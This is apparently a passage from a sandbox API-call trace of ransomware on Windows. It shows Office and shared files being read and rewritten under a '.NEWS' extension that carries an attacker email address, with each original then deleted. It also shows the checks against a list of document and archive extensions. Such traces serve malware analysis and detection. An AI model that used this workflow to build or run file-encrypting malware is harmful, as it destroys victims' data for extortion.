files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0193.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0193.554] lstrlenW (lpString=".doc") returned 4 [0193.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.554] lstrlenW (lpString=".docx") returned 5 [0193.554] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0193.554] lstrlenW (lpString=".pdf") returned 4 [0193.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.554] lstrlenW (lpString=".xls") returned 4 [0193.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.554] lstrlenW (lpString=".xlsx") returned 5 [0193.554] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0193.554] lstrlenW (lpString=".ppt") returned 4 [0193.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0193.554] lstrlenW (lpString=".zip") returned 4 [0193.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.554] lstrlenW (lpString=".rar") returned 4 [0193.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.554] lstrlenW (lpString=".bz2") returned 4 [0193.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.555] lstrlenW (lpString=".7z") returned 3 [0193.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0194.374] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0194.374] GetLastError () returned 0x0 [0194.375] ReadFile (in: hFile=0x384, lpBuffer=0x2f93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x294fecc, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesRead=0x294fecc*=0xa38, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x388, lpBuffer=0x2f93020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x294fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesWritten=0x294fc94*=0xa40, lpOverlapped=0x0) returned 1 [0194.396] ReadFile (in: hFile=0x384, lpBuffer=0x2f93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x294fecc, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesRead=0x294fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.396] WriteFile (in: hFile=0x388, lpBuffer=0x2f93020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x294fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesWritten=0x294fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.396] SetEndOfFile (hFile=0x388) returned 1 [0194.397] CloseHandle (hObject=0x388) returned 1 [0194.397] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.397] SetEndOfFile (hFile=0x384) returned 1 [0194.398] CloseHandle (hObject=0x384) returned 1 [0194.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0194.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.399] lstrlenW (lpString=".doc") returned 4 [0194.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.399] lstrlenW (lpString=".docx") returned 5 [0194.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.399] lstrlenW (lpString=".pdf") returned 4 [0194.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.399] lstrlenW (lpString=".xls") returned 4 [0194.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.399] lstrlenW (lpString=".xlsx") returned 5 [0194.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.399] lstrlenW (lpString=".ppt") returned 4 [0194.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString=".zip") returned 4 [0194.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.400] lstrlenW (lpString=".rar") returned 4 [0194.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".bz2") returned 4 [0194.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".7z") returned 3 [0194.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString=".dbf") returned 4 [0194.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString=".1cd") returned 4 [0194.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString=".jpg") returned 4 [0194.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.400] lstrlenW (lpString=".doc") returned 4 [0194.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".docx") returned 5 [0194.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.400] lstrlenW (lpString=".pdf") returned 4 [0194.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".xls") returned 4 [0194.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.400] lstrlenW (lpString=".xlsx") returned 5 [0194.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.401] lstrlenW (lpString=".ppt") returned 4 [0194.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.401] lstrlenW (lpString=".zip") returned 4 [0194.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.401] lstrlenW (lpString=".rar") returned 4 [0194.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString=".bz2") returned 4 [0194.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString=".7z") returned 3 [0194.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.401] lstrlenW (lpString=".dbf") returned 4 [0194.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.401] lstrlenW (lpString=".1cd") returned 4 [0194.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0194.401] lstrlenW (lpString=".jpg") returned 4 [0194.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.401] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.401] lstrlenW (lpString="HH01923_.WMF") returned 12 [0194.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0194.402] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=26706) returned 1 [0194.402] CloseHandle (hObject=0x384) returned 1 [0194.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0194.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0194.402] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.403] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x294fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0194.403] GetLastError () returned 0x0 [0194.403] ReadFile (in: hFile=0x384, lpBuffer=0x2f93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x294fecc, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesRead=0x294fecc*=0x6852, lpOverlapped=0x0) returned 1 [0194.405] WriteFile (in: hFile=0x388, lpBuffer=0x2f93020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x294fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesWritten=0x294fc94*=0x6860, lpOverlapped=0x0) returned 1 [0194.838] ReadFile (in: hFile=0x384, lpBuffer=0x2f93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x294fecc, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesRead=0x294fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.838] WriteFile (in: hFile=0x388, lpBuffer=0x2f93020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x294fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f93020*, lpNumberOfBytesWritten=0x294fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.838] SetEndOfFile (hFile=0x388) returned 1 [0196.052] CloseHandle (hObject=0x388) Thread: id = 94 os_tid = 0xfec [0190.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x729200 [0190.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x739208 [0190.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1f00 [0190.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbe80 [0190.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1fc0 [0190.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x30ae020 [0190.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2008 [0190.872] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2008, Size=0x20) returned 0x69dcd8 [0190.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2008 [0190.872] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2008, Size=0x20) returned 0x69dc38 [0190.872] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.872] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.872] Wow64DisableWow64FsRedirection (in: OldValue=0x2a8ff50 | out: OldValue=0x2a8ff50*=0x0) returned 1 [0190.873] lstrlenW (lpString="kernel32.dll") returned 12 [0190.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0190.873] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dc38 | out: hHeap=0x660000) returned 1 [0190.873] Sleep (dwMilliseconds=0x64) [0191.198] Sleep (dwMilliseconds=0x64) [0191.449] Sleep (dwMilliseconds=0x64) [0191.895] Sleep (dwMilliseconds=0x64) [0192.159] Sleep (dwMilliseconds=0x64) [0192.777] Sleep (dwMilliseconds=0x64) [0193.418] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.418] lstrlenW (lpString="Alphabet.xml") returned 12 [0193.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.419] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=791421) returned 1 [0193.419] CloseHandle (hObject=0x2b4) returned 1 [0193.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0193.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.420] lstrlenW (lpString=".doc") returned 4 [0193.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString=".docx") returned 5 [0193.420] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.420] lstrlenW (lpString=".pdf") returned 4 [0193.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString=".xls") returned 4 [0193.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString=".xlsx") returned 5 [0193.420] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.420] lstrlenW (lpString=".ppt") returned 4 [0193.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.420] lstrlenW (lpString=".zip") returned 4 [0193.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.420] lstrlenW (lpString=".rar") returned 4 [0193.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString=".bz2") returned 4 [0193.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString=".7z") returned 3 [0193.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.420] lstrlenW (lpString=".dbf") returned 4 [0193.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.420] lstrlenW (lpString=".1cd") returned 4 [0193.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.421] lstrlenW (lpString=".jpg") returned 4 [0193.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.421] lstrlenW (lpString=".doc") returned 4 [0193.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString=".docx") returned 5 [0193.421] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.421] lstrlenW (lpString=".pdf") returned 4 [0193.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString=".xls") returned 4 [0193.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString=".xlsx") returned 5 [0193.421] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.421] lstrlenW (lpString=".ppt") returned 4 [0193.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.421] lstrlenW (lpString=".zip") returned 4 [0193.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.421] lstrlenW (lpString=".rar") returned 4 [0193.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString=".bz2") returned 4 [0193.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.421] lstrlenW (lpString=".7z") returned 3 [0193.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.421] lstrlenW (lpString=".dbf") returned 4 [0193.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.422] lstrlenW (lpString=".1cd") returned 4 [0193.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0193.422] lstrlenW (lpString=".jpg") returned 4 [0193.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.422] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.422] lstrlenW (lpString="Content.xml") returned 11 [0193.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.423] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=27045) returned 1 [0193.423] CloseHandle (hObject=0x2b4) returned 1 [0193.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0193.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.423] lstrlenW (lpString=".doc") returned 4 [0193.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.423] lstrlenW (lpString=".docx") returned 5 [0193.423] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.424] lstrlenW (lpString=".pdf") returned 4 [0193.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString=".xls") returned 4 [0193.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString=".xlsx") returned 5 [0193.424] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.424] lstrlenW (lpString=".ppt") returned 4 [0193.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.424] lstrlenW (lpString=".zip") returned 4 [0193.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.424] lstrlenW (lpString=".rar") returned 4 [0193.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString=".bz2") returned 4 [0193.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString=".7z") returned 3 [0193.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.424] lstrlenW (lpString=".dbf") returned 4 [0193.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.424] lstrlenW (lpString=".1cd") returned 4 [0193.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.424] lstrlenW (lpString=".jpg") returned 4 [0193.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString=".doc") returned 4 [0193.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString=".docx") returned 5 [0193.425] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.425] lstrlenW (lpString=".pdf") returned 4 [0193.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString=".xls") returned 4 [0193.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString=".xlsx") returned 5 [0193.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.425] lstrlenW (lpString=".ppt") returned 4 [0193.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString=".zip") returned 4 [0193.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.425] lstrlenW (lpString=".rar") returned 4 [0193.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString=".bz2") returned 4 [0193.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString=".7z") returned 3 [0193.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString=".dbf") returned 4 [0193.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString=".1cd") returned 4 [0193.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0193.425] lstrlenW (lpString=".jpg") returned 4 [0193.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.426] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0193.426] lstrlenW (lpString="boxed-correct.avi") returned 17 [0193.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.426] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=111320) returned 1 [0193.426] CloseHandle (hObject=0x2b4) returned 1 [0193.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0193.427] GetFileAttributesW 